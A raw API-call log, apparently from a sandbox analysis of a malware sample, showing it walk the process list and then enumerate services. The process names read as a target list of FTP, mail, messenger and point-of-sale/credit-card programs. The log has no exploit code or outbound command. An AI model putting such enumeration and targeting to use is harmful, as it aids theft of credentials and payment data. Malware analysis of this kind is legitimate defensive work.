dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0084.637] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0084.637] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0084.638] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0084.638] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0084.638] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0084.638] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0084.639] lstrlenW (lpString="towers world.exe") returned 16 [0084.639] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0084.639] lstrlenW (lpString="coaching indian.exe") returned 19 [0084.639] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0084.640] lstrlenW (lpString="goal assumed.exe") returned 16 [0084.640] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0084.641] lstrlenW (lpString="3dftp.exe") returned 9 [0084.641] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0084.642] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0084.642] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0084.643] lstrlenW (lpString="alftp.exe") returned 9 [0084.643] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0084.644] lstrlenW (lpString="barca.exe") returned 9 [0084.644] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0085.414] lstrlenW (lpString="bitkinex.exe") returned 12 [0085.414] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0085.415] lstrlenW (lpString="coreftp.exe") returned 11 [0085.415] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0085.416] lstrlenW (lpString="far.exe") returned 7 [0085.416] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0085.417] lstrlenW (lpString="filezilla.exe") returned 13 [0085.417] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0085.418] lstrlenW (lpString="flashfxp.exe") returned 12 [0085.418] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0085.419] lstrlenW (lpString="fling.exe") returned 9 [0085.419] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0085.420] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0085.420] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0085.421] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0085.421] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0085.422] lstrlenW (lpString="icq.exe") returned 7 [0085.422] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0085.423] lstrlenW (lpString="leechftp.exe") returned 12 [0085.423] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0085.424] lstrlenW (lpString="ncftp.exe") returned 9 [0085.424] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0085.424] lstrlenW (lpString="notepad.exe") returned 11 [0085.425] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0085.425] lstrlenW (lpString="operamail.exe") returned 13 [0085.425] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0085.427] lstrlenW (lpString="pidgin.exe") returned 10 [0085.427] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0085.428] lstrlenW (lpString="scriptftp.exe") returned 13 [0085.428] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0085.428] lstrlenW (lpString="skype.exe") returned 9 [0085.428] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0085.429] lstrlenW (lpString="smartftp.exe") returned 12 [0085.429] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0085.430] lstrlenW (lpString="thunderbird.exe") returned 15 [0085.430] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0085.431] lstrlenW (lpString="totalcmd.exe") returned 12 [0085.431] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0085.432] lstrlenW (lpString="trillian.exe") returned 12 [0085.432] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0085.433] lstrlenW (lpString="webdrive.exe") returned 12 [0085.433] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0085.433] lstrlenW (lpString="whatsapp.exe") returned 12 [0085.434] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0085.434] lstrlenW (lpString="winscp.exe") returned 10 [0085.434] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0085.435] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0085.435] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0085.436] lstrlenW (lpString="active-charge.exe") returned 17 [0085.436] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0085.437] lstrlenW (lpString="accupos.exe") returned 11 [0085.437] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0085.438] lstrlenW (lpString="afr38.exe") returned 9 [0085.438] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0085.438] lstrlenW (lpString="aldelo.exe") returned 10 [0085.438] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0085.439] lstrlenW (lpString="ccv_server.exe") returned 14 [0085.439] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0085.440] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0085.440] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0085.441] lstrlenW (lpString="creditservice.exe") returned 17 [0085.441] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0085.442] lstrlenW (lpString="edcsvr.exe") returned 10 [0085.442] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0085.445] lstrlenW (lpString="fpos.exe") returned 8 [0085.446] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0085.446] lstrlenW (lpString="isspos.exe") returned 10 [0085.446] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0085.447] lstrlenW (lpString="mxslipstream.exe") returned 16 [0085.447] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0085.448] lstrlenW (lpString="omnipos.exe") returned 11 [0085.448] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0085.448] lstrlenW (lpString="spcwin.exe") returned 10 [0085.449] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0085.449] lstrlenW (lpString="spgagentservice.exe") returned 19 [0085.449] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0085.450] lstrlenW (lpString="utg2.exe") returned 8 [0085.450] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0085.451] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0085.451] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0085.451] lstrlenW (lpString="glow be.exe") returned 11 [0085.452] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0085.452] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0085.452] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0085.453] lstrlenW (lpString="contains roles was.exe") returned 22 [0085.453] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0085.454] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0085.454] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0085.454] lstrlenW (lpString="taskhostw.exe") returned 13 [0085.454] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0085.455] lstrlenW (lpString="taskhostw.exe") returned 13 [0085.455] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0085.456] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0085.456] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0085.456] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0085.456] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0085.457] lstrlenW (lpString="UsoClient.exe") returned 13 [0085.457] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0085.630] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0085.630] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.631] lstrlenW (lpString="conhost.exe") returned 11 [0085.631] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.631] lstrlenW (lpString="conhost.exe") returned 11 [0085.631] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.632] lstrlenW (lpString="svchost.exe") returned 11 [0085.632] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0085.633] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0085.633] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.633] lstrlenW (lpString="svchost.exe") returned 11 [0085.633] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.634] lstrlenW (lpString="cmd.exe") returned 7 [0085.634] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.634] lstrlenW (lpString="conhost.exe") returned 11 [0085.635] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0085.635] lstrlenW (lpString="mode.com") returned 8 [0085.635] Process32NextW (in: hSnapshot=0x308, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0085.636] CloseHandle (hObject=0x308) returned 1 [0085.636] Sleep (dwMilliseconds=0x1f4) [0086.401] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef40 [0087.060] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0087.061] GetLastError () returned 0xea [0087.061] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) 